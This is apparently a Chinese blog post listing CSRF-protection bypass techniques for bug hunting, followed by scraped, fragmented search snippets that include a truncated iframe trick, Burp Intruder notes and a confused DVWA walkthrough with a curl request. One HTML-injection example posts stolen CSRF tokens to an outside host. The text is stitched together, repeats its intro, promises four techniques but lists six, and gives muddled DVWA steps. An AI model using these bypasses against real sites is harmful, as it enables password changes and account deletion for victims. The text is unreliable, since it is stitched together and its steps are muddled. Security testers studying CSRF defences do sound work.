你们都知道CSRF是什么,如果不是的话,您就不会出现在我的博客上。今天,在本文中,我将解释对测试网站的CSRF保护的四个简单测试,这些测试可能会导致CSRF绕过,这反过来可以为您赚钱。
1. 在帐户之间使用CSRF令牌
最简单和最致命的CSRF绕过是当应用程序不验证CSRF令牌是否绑定到特定帐户而仅验证算法时。为了验证这一点
从帐户A登录到应用程序
转到其密码更改页面
使用burp代理捕获CSRF令牌
注销账户A,然后登录B账户
转到密码更改页面并拦截该请求
使用A的csrf token 代替 账户B的
2. 替换相同长度的值
另一种技术是,您可以找到该令牌的长度,例如,它是在您将同一变量替换为其他32个字符值的变量authenticity_token下包含32个字符的字母数字令牌
例如,令牌为ud019eh10923213213123,您将其替换为具有相同值的令牌。(相同长度)
3. 从请求中完全删除CSRF token
此技术通常适用于帐户删除功能,在这些功能中根本不验证令牌,这使攻击者可以通过CSRF删除任何用户的帐户。但是我发现它也可以在其他功能上工作。很简单,您用burpsuite拦截了请求,并从整个令牌中删除了令牌,我测试过的应用程序中有40%被发现容易受到此技术的攻击
4. 解码CSRF令牌
绕过CSRF的另一种方法是识别CSRF令牌的算法。根据我的经验,CSRF令牌是MD5或Base64编码的值。您可以解码该值并对该算法中的下一个值进行编码,然后使用该令牌。例如,"a0a080f42e6f13b3a2df133f073095dd"是MD5(122)。您可以类似地将下一个值MD5(123)作为CSRF令牌已达到绕过的目的。
5. 通过HTML注入提取令牌
此技术利用HTML注入漏洞,攻击者可以利用该漏洞植入记录器,以从该网页提取CSRF令牌并使用该令牌。攻击者可以植入链接,例如:
<form action=”http://shahmeeramir.com/acquire_token.php”></textarea>
6. 仅使用令牌的静态部分
经常观察到CSRF令牌由两部分组成。静态部分和动态部分。考虑两个CSRF令牌shahmeer742498h989889和shahmeer7424ashda099s。shahmeer7424作为静态部分当作令牌使用。
还有许多其他方法可以绕过CSRF保护,但是我在寻找bug的过程中大多遇到这些情况。
你们都知道CSRF是什么,如果不是的话,您就不会出现在我的博客上。今天,在本文中,我将解释对测试网站的CSRF保护的四个简单测试,这些测试可能会导致CSRF绕过,这反过来可以为您赚钱。1. 在帐户之间使用CSRF令牌最简单和最致命的CSRF绕过是当应用程序不验证CSRF令牌是否绑定到特定帐户而仅验证算法时。为了验证这一点从帐户A登录到应用程序转到其密码更改页面使用b...
转载至https://threezh1.com/2020/02/25/
CSRF
%E7%BB%95%E8%BF%87%E6%95%B4%E7%90%86/
Origin & Referer BypassNull值
绕过
当遇到一个cors可用null值
绕过
时,用iframe配合data协议,就可以发送一个origin为null的请求。这个
绕过
方式同样也可以用在
CSRF
这里。
1<iframe sandbox="allow-scripts allow-top-navigation allow-fo
使用Burp Suite 两种方式
绕过
CSRF
_TOKE 第一种
绕过
姿势(
csrf
_token存在于当前页面):第二种
绕过
姿势(
csrf
_token不存在于当前页面):分两步:第一步第二步
第一种
绕过
姿势(
csrf
_token存在于当前页面):
按照国际惯例将请求发送到Intruder,然后在Position中设置变量。
我这里模拟一下,各位看官就凑合看吧,因为有
csrf
_token,那么变量数量肯定大于1,Attack type就需要更改了,因为Sniper只支持单个变量,我们设置成Pitchfork。
首先,我们需要在本地搭建一个DVWA环境。DVWA是一个漏洞练习平台,可以用于学习和测试
Web
应用程序的
安全
性。您可以从以下网站下载DVWA并进行安装:https://github.com/ethicalhack3r/DVWA。
接下来,我们需要
绕过
CSRF
-token进行攻击。
CSRF
-token是一种防止
CSRF
攻击的措施,它是一个随机生成的字符串,用于验证请求是否来自合法的来源。在DVWA中,我们可以通过修改一个cookie来
绕过
CSRF
-token。
下面是具体的攻击步骤:
1. 打开DVWA,登录并进入
CSRF
实验页面。
2. 在Chrome浏览器中打开开发者工具,切换到“Network”选项卡,勾选“Preserve log”选项。
3. 在实验页面中点击“View Source”按钮,查看页面源代码。
4. 在源代码中找到与
CSRF
-token相关的代码,我们可以看到以下代码:
<input type="hidden" name="user_token" value="<?php echo $_SESSION['user_token']; ?>">
5. 复制
CSRF
-token,它通常位于name="user_token"的input标签中,value属性的值为一个长字符串。
6. 在开发者工具中找到与此页面对应的请求,点击它打开请求详情。
7. 在请求详情中找到Cookie选项卡,找到名为“PHPSESSID”的cookie并复制它的值。
8. 使用一个新的浏览器标签打开一个在线表单生成器,例如:https://www.123formbuilder.com/free-form-templates/Online-Order-Form-3578911/。
9. 在表单生成器中创建一个POST表单,将请求方法设置为POST,并填写以下表单字段:
action: http://your-dvwa-site.com/vulnerabilities/
csrf
/
amount: 1000
10. 在开发者工具中找到此页面对应的请求,复制请求头中的所有内容。
11. 使用curl或其他工具发送POST请求,将以上内容作为请求头发送,例如:
curl -X POST 'http://your-dvwa-site.com/vulnerabilities/
csrf
/' \
-H 'Cookie: PHPSESSID=your-session-id-here' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Referer: http://your-dvwa-site.com/vulnerabilities/
csrf
/' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Apple
Web
Kit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Origin: http://your-dvwa-site.com' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Accept-Language: en-US,en;q=0.9' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/
web
p,*/*;q=0.8' \
--data 'user_token=your-
csrf
-token-here&amount=1000&action=transfer'
12. 您应该会看到成功的响应。
总之,这个实验展示了
CSRF
攻击的危害性以及如何
绕过
CSRF
-token进行攻击。在实际应用中,我们应该采取更加
安全
的措施来防止
CSRF
攻击,例如使用双重身份验证或者更加严格的
CSRF
-token验证。